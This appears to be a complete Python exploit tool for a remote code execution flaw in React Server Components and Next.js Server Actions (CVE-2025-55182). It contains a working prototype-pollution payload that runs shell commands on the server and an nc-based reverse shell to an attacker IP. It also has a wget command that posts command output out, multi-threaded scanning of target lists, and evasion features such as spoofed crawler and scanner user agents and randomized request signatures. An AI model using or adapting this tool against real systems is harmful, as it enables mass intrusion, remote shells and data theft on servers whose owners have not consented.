#!/usr/bin/env python3 """ @file CVE-2025-55182 Exploit Script @author Spritualkb @date 2025-12-05 @lastModified 2025-12-05 @description React Server Components Remote Code Execution Exploit Tool ⚠️ FOR AUTHORIZED SECURITY TESTING ONLY ⚠️ Affected versions: - react-server-dom-webpack: 19.0.0 - 19.2.0 - Next.js: 15.x, 16.x (using App Router with Server Actions) This exploit leverages prototype pollution in Flight protocol deserialization to achieve arbitrary code execution. Dependencies: - pip install requests - pip install requests[socks] # Required for SOCKS5 proxy support """ import requests import argparse import sys import time import random import base64 import hashlib import urllib3 import threading from concurrent.futures import ThreadPoolExecutor, as_completed from urllib.parse import urlparse # Disable SSL warnings for self-signed certificates urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Colors: """Terminal color class using ANSI escape codes""" # Basic colors RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' MAGENTA = '\033[95m' CYAN = '\033[96m' WHITE = '\033[97m' # Styles BOLD = '\033[1m' UNDERLINE = '\033[4m' # Reset RESET = '\033[0m' @staticmethod def success(text: str) -> str: """Success message - Green""" return f"{Colors.GREEN}{Colors.BOLD}[+]{Colors.RESET} {Colors.GREEN}{text}{Colors.RESET}" @staticmethod def error(text: str) -> str: """Error message - Red""" return f"{Colors.RED}{Colors.BOLD}[-]{Colors.RESET} {Colors.RED}{text}{Colors.RESET}" @staticmethod def warning(text: str) -> str: """Warning message - Yellow""" return f"{Colors.YELLOW}{Colors.BOLD}[!]{Colors.RESET} {Colors.YELLOW}{text}{Colors.RESET}" @staticmethod def info(text: str) -> str: """Info message - Blue""" return f"{Colors.BLUE}{Colors.BOLD}[*]{Colors.RESET} {Colors.BLUE}{text}{Colors.RESET}" @staticmethod def question(text: str) -> str: """Question message - Cyan""" return f"{Colors.CYAN}{Colors.BOLD}[?]{Colors.RESET} {Colors.CYAN}{text}{Colors.RESET}" @staticmethod def highlight(text: str) -> str: """Highlighted text - Magenta bold""" return f"{Colors.MAGENTA}{Colors.BOLD}{text}{Colors.RESET}" @staticmethod def target(text: str) -> str: """Target info - Cyan bold""" return f"{Colors.CYAN}{Colors.BOLD}{text}{Colors.RESET}" @staticmethod def vuln(text: str) -> str: """Vulnerability info - Red bold""" return f"{Colors.RED}{Colors.BOLD}{text}{Colors.RESET}" @staticmethod def safe(text: str) -> str: """Safe info - Green""" return f"{Colors.GREEN}{text}{Colors.RESET}" @staticmethod def banner() -> str: """Print banner""" banner_text = f""" {Colors.RED}{Colors.BOLD}╔═══════════════════════════════════════════════════════════════╗ ║ {Colors.YELLOW}CVE-2025-55182{Colors.RED} - React Server Components RCE Exploit ║ ║ {Colors.CYAN}Next.js Remote Code Execution Tool{Colors.RED} ║ ╚═══════════════════════════════════════════════════════════════╝{Colors.RESET} """ return banner_text class StealthConfig: """ Stealth configuration for evasion techniques Contains various User-Agent strings and request randomization options """ # Common browser User-Agents for blending in USER_AGENTS = [ # Chrome on Windows 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', # Chrome on Mac 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', # Firefox on Windows 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', # Safari on Mac 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15', # Edge on Windows 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0', ] # Search engine crawlers (less suspicious for scanning) CRAWLER_AGENTS = [ 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)', 'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)', 'facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)', ] # Legitimate security scanner agents SECURITY_AGENTS = [ 'Mozilla/5.0 (compatible; Nessus SOAP)', 'Nuclei - Open-source project (github.com/projectdiscovery/nuclei)', ] # Common Accept headers ACCEPT_HEADERS = [ 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', '*/*', ] # Common Accept-Language headers ACCEPT_LANGUAGES = [ 'en-US,en;q=0.9', 'en-GB,en;q=0.9', 'zh-CN,zh;q=0.9,en;q=0.8', 'ja-JP,ja;q=0.9,en;q=0.8', ] @staticmethod def get_random_ua(mode: str = 'browser') -> str: """ Get a random User-Agent based on mode @param mode: 'browser', 'crawler', or 'security' @returns Random User-Agent string """ if mode == 'crawler': return random.choice(StealthConfig.CRAWLER_AGENTS) elif mode == 'security': return random.choice(StealthConfig.SECURITY_AGENTS) else: return random.choice(StealthConfig.USER_AGENTS) @staticmethod def get_random_headers(mode: str = 'browser') -> dict: """ Generate randomized headers to avoid fingerprinting @param mode: 'browser', 'crawler', or 'security' @returns Dictionary of HTTP headers """ headers = { 'User-Agent': StealthConfig.get_random_ua(mode), 'Accept': random.choice(StealthConfig.ACCEPT_HEADERS), 'Accept-Language': random.choice(StealthConfig.ACCEPT_LANGUAGES), 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Cache-Control': 'no-cache', } # Randomly add some optional headers to vary fingerprint if random.random() > 0.5: headers['DNT'] = '1' if random.random() > 0.5: headers['Upgrade-Insecure-Requests'] = '1' if random.random() > 0.7: headers['Sec-Fetch-Dest'] = 'document' headers['Sec-Fetch-Mode'] = 'navigate' headers['Sec-Fetch-Site'] = 'none' return headers class CVE2025_55182_RCE: """CVE-2025-55182 Full Remote Code Execution Exploit Class""" def __init__(self, target_url: str, timeout: int = 15, proxy: str = None, stealth_mode: str = 'browser', delay: float = 0): """ Initialize exploit instance @param target_url: Target URL @param timeout: Request timeout in seconds @param proxy: SOCKS5 proxy address (e.g., socks5://127.0.0.1:1080) @param stealth_mode: UA mode - 'browser', 'crawler', or 'security' @param delay: Delay between requests in seconds (for rate limiting evasion) """ self.target_url = target_url.rstrip('/') self.timeout = timeout self.proxy = proxy self.stealth_mode = stealth_mode self.delay = delay self.session = requests.Session() # Disable SSL verification for self-signed/invalid certificates self.session.verify = False # Configure proxy if proxy: self.session.proxies = { 'http': proxy, 'https': proxy } print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}")) def _generate_boundary(self) -> str: """ Generate a random multipart boundary to avoid signature detection @returns Random boundary string """ # Generate random boundary similar to real browsers random_part = hashlib.md5(str(random.random()).encode()).hexdigest()[:16] boundaries = [ f"----WebKitFormBoundary{random_part}", f"----FormBoundary{random_part}", f"---------------------------{random.randint(10000000000000, 99999999999999)}", ] return random.choice(boundaries) def _apply_delay(self): """Apply configured delay between requests""" if self.delay > 0: # Add some randomness to delay (±20%) actual_delay = self.delay * (0.8 + random.random() * 0.4) time.sleep(actual_delay) def build_payload(self, command: str) -> tuple[str, str]: """ Build the RCE payload exploiting prototype pollution @param command: Command to execute @returns (body, content_type) multipart form data The payload creates a fake React chunk object that: 1. Pollutes Object.prototype.then via "$1:__proto__:then" 2. Sets _formData.get to Function constructor via "$1:constructor:constructor" 3. Injects code via _prefix that gets passed to Function() """ boundary = self._generate_boundary() # Escape single quotes in command for JavaScript string escaped_cmd = command.replace("'", "'\"'\"'") # Build the prefix payload that executes the command # Use spawnSync with shell option for better stability (non-blocking alternative) prefix_payload = ( f"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','{escaped_cmd}'],{{encoding:'utf8',timeout:5000}});" f"var res=r.stdout||r.stderr||'';" f"throw Object.assign(new Error('NEXT_REDIRECT')," f"{{digest:`NEXT_REDIRECT;push;/login?a=${{res.trim()}};307;`}});" ) # Malicious fake chunk structure part0 = ( '{"then":"$1:__proto__:then",' '"status":"resolved_model",' '"reason":-1,' '"value":"{\\"then\\":\\"$B1337\\"}",' '"_response":{' '"_prefix":"' + prefix_payload + '",' '"_chunks":"$Q2",' '"_formData":{"get":"$1:constructor:constructor"}' '}}' ) # Build multipart form data body body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f"{part0}\r\n" f"--{boundary}\r\n" f'Content-Disposition: form-data; name="1"\r\n\r\n' f'"$@0"\r\n' f"--{boundary}\r\n" f'Content-Disposition: form-data; name="2"\r\n\r\n' f"[]\r\n" f"--{boundary}--" ) content_type = f"multipart/form-data; boundary={boundary}" return body, content_type def build_harmless_check_payload(self, variant: int = 0) -> tuple[str, str, str]: """ Build harmless detection payload variants for stealthy scanning These payloads trigger the vulnerability signature without executing code @param variant: Payload variant (0-4) @returns (body, content_type, description) tuple """ boundary = self._generate_boundary() # Different harmless payload variants payloads = [ # Variant 0: Minimal prototype access check (original) { 'body': f'["$1:a:a"]', 'desc': 'Minimal prototype access' }, # Variant 1: Empty object reference { 'body': f'{{"$":"$1:x:x"}}', 'desc': 'Empty object reference' }, # Variant 2: Null value injection { 'body': f'["$1:__proto__:null"]', 'desc': 'Null prototype check' }, # Variant 3: Array with reference { 'body': f'[{{"ref":"$1:test:test"}}]', 'desc': 'Array reference check' }, # Variant 4: Nested object check { 'body': f'{{"a":{{"b":"$1:c:d"}}}}', 'desc': 'Nested object check' }, ] selected = payloads[variant % len(payloads)] body = ( f"--{boundary}\r\n" f'Content-Disposition: form-data; name="0"\r\n\r\n' f'{selected["body"]}\r\n' f"--{boundary}\r\n" f'Content-Disposition: form-data; name="1"\r\n\r\n' f'{{}}\r\n' f"--{boundary}--" ) content_type = f"multipart/form-data; boundary={boundary}" return body, content_type, selected['desc'] def execute(self, command: str) -> dict: """ Execute arbitrary command on target server @param command: Shell command to execute @returns Dictionary with success status and output """ print(Colors.info(f"Target: {Colors.target(self.target_url)}")) print(Colors.info(f"Command: {Colors.highlight(command)}")) # Get randomized headers for stealth headers = StealthConfig.get_random_headers(self.stealth_mode) headers['Accept'] = 'text/x-component' headers['Next-Action'] = 'x' # Invalid action ID triggers vulnerable path body, content_type = self.build_payload(command) headers['Content-Type'] = content_type result = { 'success': False, 'command': command, 'target': self.target_url, } self._apply_delay() try: print(Colors.info("Sending exploit payload...")) resp = self.session.post( self.target_url, headers=headers, data=body, timeout=self.timeout ) result['status_code'] = resp.status_code result['response'] = resp.text[:500] # Check for successful exploitation indicators if resp.status_code == 500: print(Colors.success(f"Exploit sent successfully (status {Colors.vuln('500')})")) result['success'] = True elif 'X-Action-Redirect' in resp.headers: redirect = resp.headers.get('X-Action-Redirect', '') if 'login?a=' in redirect: print(Colors.success(f"Command executed! Result in redirect: {Colors.highlight(redirect)}")) result['success'] = True result['output'] = redirect else: print(Colors.question(f"Unexpected redirect: {redirect}")) else: print(Colors.question(f"Unexpected status: {resp.status_code}")) except requests.exceptions.Timeout: # Timeout might indicate the payload was processed print(Colors.success("Request timed out (may indicate successful RCE)")) result['success'] = True result['timeout'] = True except Exception as e: print(Colors.error(f"Error: {e}")) result['error'] = str(e) return result def check_vulnerability(self, use_variants: bool = False) -> bool: """ Quick check if target is vulnerable using actual exploit with harmless command @param use_variants: Use multiple payload variants for thorough check @returns True if vulnerable, False otherwise """ print(Colors.info(f"Checking {Colors.target(self.target_url)} for vulnerability...")) # 使用实际的漏洞利用载荷,但执行无害命令 pwd # 返回路径以 / 开头,容易匹配 check_command = "pwd" body, content_type = self.build_payload(check_command) # Get randomized headers for stealth headers = StealthConfig.get_random_headers(self.stealth_mode) headers['Accept'] = 'text/x-component' headers['Next-Action'] = 'x' headers['Content-Type'] = content_type self._apply_delay() try: resp = self.session.post( self.target_url, headers=headers, data=body, timeout=self.timeout ) # 检查漏洞利用成功的指标 # 1. 状态码 500 且包含特定错误信息 if resp.status_code == 500 and 'E{"digest"' in resp.text: print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (error-based detection)")) return True # 2. 检查 X-Action-Redirect 头 (命令执行成功的标志) if 'X-Action-Redirect' in resp.headers: redirect = resp.headers.get('X-Action-Redirect', '') # pwd 返回路径以 / 开头,如 /login?a=/app/web if 'login?a=/' in redirect: print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (command execution confirmed)")) return True # 3. 检查响应体中是否有命令执行结果 if 'login?a=/' in resp.text: print(Colors.success(f"Target is {Colors.vuln('VULNERABLE')}! (response-based detection)")) return True # 4. 其他可能的漏洞指标 if resp.status_code == 500 and ('prototype' in resp.text.lower() or 'cannot read' in resp.text.lower()): print(Colors.success(f"Target appears {Colors.vuln('LIKELY VULNERABLE')}!")) return True print(Colors.error(f"Target may not be vulnerable (status {resp.status_code})")) return False except requests.exceptions.Timeout: # 超时可能表示漏洞存在,但不确定,返回 'timeout' 标记 print(Colors.warning(f"Request timeout - target {Colors.vuln('MAY BE VULNERABLE')} (command may be executing)")) return 'timeout' # 返回特殊标记,不写入文件 except requests.exceptions.ConnectionError: print(Colors.error(f"Check failed: Cannot connect to target")) return False except Exception as e: print(Colors.error(f"Check failed: {e}")) return False def reverse_shell(self, attacker_ip: str, attacker_port: int) -> dict: """ Attempt to establish a reverse shell @param attacker_ip: IP address to connect back to @param attacker_port: Port to connect back to """ # mkfifo reverse shell - works on Alpine/busybox containers revshell = ( f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f" ) print(Colors.warning(f"Attempting reverse shell to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}")) print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}")) return self.execute(revshell) def exfiltrate(self, command: str, attacker_ip: str, attacker_port: int) -> dict: """ Execute command and send output to attacker via HTTP POST @param command: Command to execute @param attacker_ip: IP address to send output to @param attacker_port: Port to send output to Start a listener with: nc -lvnp PORT Output will arrive as HTTP POST body. """ # Using wget to POST command output back exfil_cmd = f'wget --post-data="$({command})" http://{attacker_ip}:{attacker_port}/ -O- 2>/dev/null' print(Colors.warning(f"Executing: {Colors.highlight(command)}")) print(Colors.warning(f"Output will POST to {Colors.highlight(f'{attacker_ip}:{attacker_port}')}")) print(Colors.warning(f"Start listener: {Colors.highlight(f'nc -lvnp {attacker_port}')}")) return self.execute(exfil_cmd) # Thread-safe lock for file writing and counters _file_lock = threading.Lock() _counter_lock = threading.Lock() def _check_single_target(target, timeout, proxy, stealth_mode, delay, use_variants, output_file, results, counter, total): """ Check a single target (used by thread pool) @param target: Target URL @param timeout: Request timeout @param proxy: Proxy address @param stealth_mode: UA mode @param delay: Delay between requests @param use_variants: Use payload variants @param output_file: Output file path @param results: Shared results dict @param counter: Shared counter list [current] @param total: Total targets count """ # Ensure URL has protocol prefix if not target.startswith(('http://', 'https://')): target = f'http://{target}' with _counter_lock: counter[0] += 1 idx = counter[0] progress = f"[{idx}/{total}]" print(f"\n{Colors.YELLOW}{Colors.BOLD}{progress}{Colors.RESET} Checking: {Colors.target(target)}") try: exploit = CVE2025_55182_RCE(target, timeout, proxy, stealth_mode, delay) result = exploit.check_vulnerability(use_variants) if result == True: # 确认漏洞,写入文件 with _counter_lock: results['vulnerable'].append(target) # Immediately append to output file if specified if output_file: with _file_lock: try: with open(output_file, 'a', encoding='utf-8') as f: f.write(f"{target}\n") print(Colors.success(f"Appended to: {Colors.highlight(output_file)}")) except Exception as e: print(Colors.error(f"Failed to append: {e}")) elif result == 'timeout': # 超时,不写入文件 with _counter_lock: results['timeout'].append(target) else: with _counter_lock: results['not_vulnerable'].append(target) except Exception as e: print(Colors.error(f"Error checking {target}: {e}")) with _counter_lock: results['not_vulnerable'].append(target) def batch_check(file_path, timeout=15, output_file=None, proxy=None, stealth_mode='browser', delay=0, use_variants=False, threads=10): """ Batch check targets from file for vulnerability (multi-threaded) @param file_path: Path to file containing target URLs @param timeout: Request timeout in seconds @param output_file: Path to save vulnerable targets @param proxy: SOCKS5 proxy address @param stealth_mode: UA mode - 'browser', 'crawler', or 'security' @param delay: Delay between requests in seconds @param use_variants: Use multiple payload variants @param threads: Number of concurrent threads @returns (vulnerable_list, not_vulnerable_list) tuple """ results = {'vulnerable': [], 'not_vulnerable': [], 'timeout': []} counter = [0] # Mutable counter for threads def target_generator(file_path): """Generator to read targets lazily, avoiding memory issues with large files""" with open(file_path, 'r', encoding='utf-8') as f: for line in f: line = line.strip() if line and not line.startswith('#'): yield line try: # First pass: count total lines (memory efficient) print(Colors.info("Counting targets...")) total = sum(1 for line in open(file_path, 'r', encoding='utf-8') if line.strip() and not line.strip().startswith('#')) print(Colors.info(f"Loaded {Colors.highlight(str(total))} targets")) except FileNotFoundError: print(Colors.error(f"File not found: {file_path}")) return [], [] except Exception as e: print(Colors.error(f"Failed to read file: {e}")) return [], [] print(Colors.info(f"Threads: {Colors.highlight(str(threads))}")) if proxy: print(Colors.info(f"Using proxy: {Colors.highlight(proxy)}")) print(Colors.info(f"Stealth mode: {Colors.highlight(stealth_mode)}")) if delay > 0: print(Colors.info(f"Request delay: {Colors.highlight(f'{delay}s')}")) print(f"{Colors.CYAN}{'-' * 60}{Colors.RESET}") # Use ThreadPoolExecutor for concurrent scanning with generator with ThreadPoolExecutor(max_workers=threads) as executor: futures = [] # Submit tasks using generator (memory efficient for large files) for target in target_generator(file_path): future = executor.submit( _check_single_target, target, timeout, proxy, stealth_mode, delay, use_variants, output_file, results, counter, total ) futures.append(future) # Wait for all tasks to complete for future in as_completed(futures): try: future.result() except Exception as e: print(Colors.error(f"Thread error: {e}")) # Output statistics vulnerable = results['vulnerable'] not_vulnerable = results['not_vulnerable'] timeout_targets = results['timeout'] print(f"\n{Colors.CYAN}{'=' * 60}{Colors.RESET}") vuln_count = f"{Colors.GREEN}{Colors.BOLD}{len(vulnerable)}{Colors.RESET}" timeout_count = f"{Colors.YELLOW}{len(timeout_targets)}{Colors.RESET}" safe_count = f"{Colors.RED}{len(not_vulnerable)}{Colors.RESET}" print(Colors.info(f"Scan complete! Total: {Colors.highlight(str(total))}, Vulnerable: {vuln_count}, Timeout: {timeout_count}, Not vulnerable: {safe_count}")) print(f"{Colors.CYAN}{'=' * 60}{Colors.RESET}") if vulnerable: print(Colors.success("Vulnerable targets (confirmed):")) for target in vulnerable: print(f" {Colors.vuln('●')} {Colors.target(target)}") # Results already saved incrementally during scan if output_file: print(Colors.success(f"All results saved to: {Colors.highlight(output_file)}")) if timeout_targets: print(Colors.warning(f"Timeout targets (may be vulnerable, not saved): {len(timeout_targets)}")) return vulnerable, not_vulnerable def main(): """Main entry point""" parser = argparse.ArgumentParser( description='CVE-2025-55182 React Server Components RCE Exploit Tool', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' Examples: # Check single target for vulnerability python3 exploit.py http://target:3000 --check # Use SOCKS5 proxy for scanning python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080 # Batch check from file with stealth options python3 exploit.py -f targets.txt --check --stealth crawler --delay 2 # Batch check with multiple payload variants python3 exploit.py -f targets.txt --check --variants # Save vulnerable targets to file python3 exploit.py -f targets.txt --check -o vulnerable.txt # Execute command (blind) python3 exploit.py http://target:3000 -c "id" # Exfiltrate command output python3 exploit.py http://target:3000 --exfil "id" 10.0.0.1 4444 # Reverse shell (mkfifo + nc, works on Alpine) python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444 Stealth Modes: browser - Mimics real browser requests (default) crawler - Mimics search engine crawlers (Googlebot, Baiduspider, etc.) security - Uses security scanner User-Agents ''' ) parser.add_argument('target', nargs='?', help='Target URL (e.g., http://localhost:3000)') parser.add_argument('-f', '--file', help='File containing target URLs (one per line)') parser.add_argument('-o', '--output', help='Output file for vulnerable targets') parser.add_argument('-c', '--command', help='Command to execute (blind)') parser.add_argument('--check', action='store_true', help='Check for vulnerability') parser.add_argument('--proxy', help='SOCKS5 proxy (e.g., socks5://127.0.0.1:1080)') parser.add_argument('--stealth', choices=['browser', 'crawler', 'security'], default='browser', help='Stealth mode for User-Agent (default: browser)') parser.add_argument('--delay', type=float, default=0, help='Delay between requests in seconds (default: 0)') parser.add_argument('--variants', action='store_true', help='Use multiple payload variants for thorough check') parser.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell to IP:PORT') parser.add_argument('--exfil', nargs=3, metavar=('CMD', 'IP', 'PORT'), help='Execute CMD and POST output to IP:PORT') parser.add_argument('-t', '--timeout', type=int, default=15, help='Request timeout in seconds (default: 15)') parser.add_argument('--threads', type=int, default=10, help='Number of concurrent threads for batch scan (default: 10)') args = parser.parse_args() if not any([args.check, args.command, args.revshell, args.exfil]): parser.print_help() print(Colors.warning("Please specify --check, --command, --revshell, or --exfil")) return 1 # Check if target or file is provided if not args.target and not args.file: parser.print_help() print(Colors.warning("Please specify target URL or use -f for target file")) return 1 # Print colored banner print(Colors.banner()) # Batch check mode if args.file and args.check: vulnerable, _ = batch_check( args.file, args.timeout, args.output, args.proxy, args.stealth, args.delay, args.variants, args.threads ) return 0 if vulnerable else 1 # Single target mode requires target argument if not args.target: parser.print_help() print(Colors.warning("Single target mode requires target URL")) return 1 exploit = CVE2025_55182_RCE( args.target, args.timeout, args.proxy, args.stealth, args.delay ) if args.check: return 0 if exploit.check_vulnerability(args.variants) else 1 if args.command: result = exploit.execute(args.command) return 0 if result.get('success') else 1 if args.revshell: ip, port = args.revshell result = exploit.reverse_shell(ip, int(port)) return 0 if result.get('success') else 1 if args.exfil: cmd, ip, port = args.exfil result = exploit.exfiltrate(cmd, ip, int(port)) return 0 if result.get('success') else 1 return 0 if __name__ == '__main__': sys.exit(main())